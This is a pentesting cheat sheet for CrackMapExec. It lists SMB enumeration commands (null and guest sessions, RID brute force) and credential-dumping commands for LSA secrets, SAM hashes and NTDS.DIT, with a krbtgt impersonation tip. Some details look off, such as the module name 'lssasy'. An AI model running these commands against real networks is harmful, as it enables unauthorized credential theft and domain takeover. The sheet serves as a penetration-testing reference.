### SMB Server Information and Enumeration Techniques

#### **Basic Connection to SMB Server:**
```bash
cme smb <IP>
```
- Establishes a connection to the SMB server at the specified IP.
- Verifies if the SMB service is active and responsive.

---

#### **Testing Null or Anonymous Access:**
```bash
cme smb <IP> -u '' -p ''
```
- Attempts a connection to the SMB server without session credentials.
- Useful for identifying if guest or anonymous access is permitted on the server.

---

#### **Guest Account Access Check:**
```bash
cme smb <IP> -u 'guest' -p ''
```
- Connects using the ‘guest’ account with no password.
- Can help identify if guest access is enabled and examine associated permissions.

---

#### **User Enumeration via RID Brute Force:**
```bash
cme smb <IP> -u 'USER' -p 'PASSWORD' --rid-brute
```
- Performs RID brute-forcing to enumerate all users on the SMB server.
- Useful for gathering a complete list of valid usernames, aiding further enumeration or exploitation.
  - *Tip:* Use the `-k` flag to switch to Kerberos if NTLM authentication is disabled on the target.

---

#### **Local Admin Data Extraction:**
If local admin privileges are confirmed, use the following commands:

- **Dump LSA (Local Security Authority) Data:**
   ```bash
   cme smb <IP> --lsa
   ```
   - Dumps sensitive LSA data, such as stored credentials and session tokens.

- **Extract SAM Database (Security Account Manager):**
   ```bash
   cme smb <IP> --sam
   ```
   - Retrieves the SAM database, containing local user information and password hashes.

*Note:* Ensure local admin privileges before using `--lsa` or `--sam`, as these commands extract highly sensitive information.

---

### Enhancing CME Logging with `cme.conf`

Customize logging within CME’s configuration file (`cme.conf`) for more detailed logging and custom success messages.

- **Example Configuration:**
  ```plaintext
  pwn3d_label = Admin! # Customize success message to "Admin!" upon login
  log_mode = True      # Enables verbose logging for auditing and troubleshooting
  ```

Enabling `log_mode` provides detailed output, which is useful for tracking activities or debugging issues.

---

### Extracting NTDS.DIT for Domain-Wide Credential Access
```bash
cme smb <IP> --ntds
```
- Extracts the NTDS.DIT database, which holds domain user and machine credentials.
- Effective for gaining access to the entire domain credential set, a key target in domain compromise scenarios.
  - *Tip:* Use `--user krbtgt` to leverage the Krbtgt account for impersonating any user.

*Prerequisite:* Requires domain admin privileges or equivalent to access NTDS.DIT data.

---
### Mimikatz Alternative

```bash
cme smb <IP> -M lssasy
```


---


### Additional Best Practices and Tips

- **NTLM vs. Kerberos Authentication**: If NTLM is disabled, specify `-k` to enable Kerberos, the preferred protocol on many modern domains.
- **Privilege Requirements Awareness**: Commands like `--lsa` and `--sam` need elevated privileges. Verify your access level before executing commands with high privilege requirements.
- **Secure Password Handling**: Avoid hardcoding sensitive passwords directly in command-line inputs. Instead, reference stored credentials securely to prevent exposure in logs.

---